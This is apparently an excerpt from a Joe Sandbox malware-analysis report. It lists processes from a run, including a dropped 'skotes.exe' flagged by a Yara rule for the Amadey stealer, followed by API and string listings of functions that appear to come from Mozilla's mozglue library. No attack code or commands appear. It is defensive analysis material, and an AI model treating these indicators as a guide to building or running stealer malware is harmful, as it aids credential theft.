Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7076 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	06:37:00
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1a0000
File size:	1'974'784 bytes
MD5 hash:	266A3815610D8CF2152B7935F676A542
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.3318396371.00000000001A1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.3267610783.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

QPC, xrefs: 6C6538FC
GenuntelineI, xrefs: 6C653639
GTC, xrefs: 6C653912
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
AuthcAMDenti, xrefs: 6C653946

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
GeckoMain, xrefs: 6C665554, 6C6655D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
[I %d/%d] profiler_init, xrefs: 6C66564E
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C69B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69B845
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69B852
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69B884
InitializeConditionVariable.KERNEL32(?), ref: 6C69B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C69B9FD
GetCurrentThreadId.KERNEL32 ref: 6C69BA05
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C69BA27
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69BA4B
free.MOZGLUE(?), ref: 6C69C9C7
free.MOZGLUE(?), ref: 6C69C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C69C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C69C7DA

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction ID: 752dd629839c1a6c0987d4a292ffdc9fbf9b15080cacb029944776b32ac7a95d
Opcode Fuzzy Hash: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction Fuzzy Hash: FAA2BE71A083818FC721CF29C49079FB7E5BFCA314F144A2DE89997351DB70A949CB9A

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
(, xrefs: 6C66768A
wintrust.dll, xrefs: 6C6672CD
SHA256, xrefs: 6C666EC0

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C686FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687019
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687061
EnterCriticalSection.KERNEL32(?), ref: 6C6871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C68721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C68723E
EnterCriticalSection.KERNEL32(?), ref: 6C68726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C68733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C68961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C689622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C689642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896DB
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C689747
GetSystemInfo.KERNEL32(?), ref: 6C689792
__Init_thread_footer.LIBCMT ref: 6C6897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C6897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C689838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C68984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C689874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C689895

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C689B38
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C689993
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6899D2
MALLOC_OPTIONS, xrefs: 6C6897CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6C689BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6899BD
MOZ_CRASH(), xrefs: 6C689B42
<jemalloc>, xrefs: 6C689B33, 6C689BE3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C689933, 6C689A33, 6C689A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6899A8

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
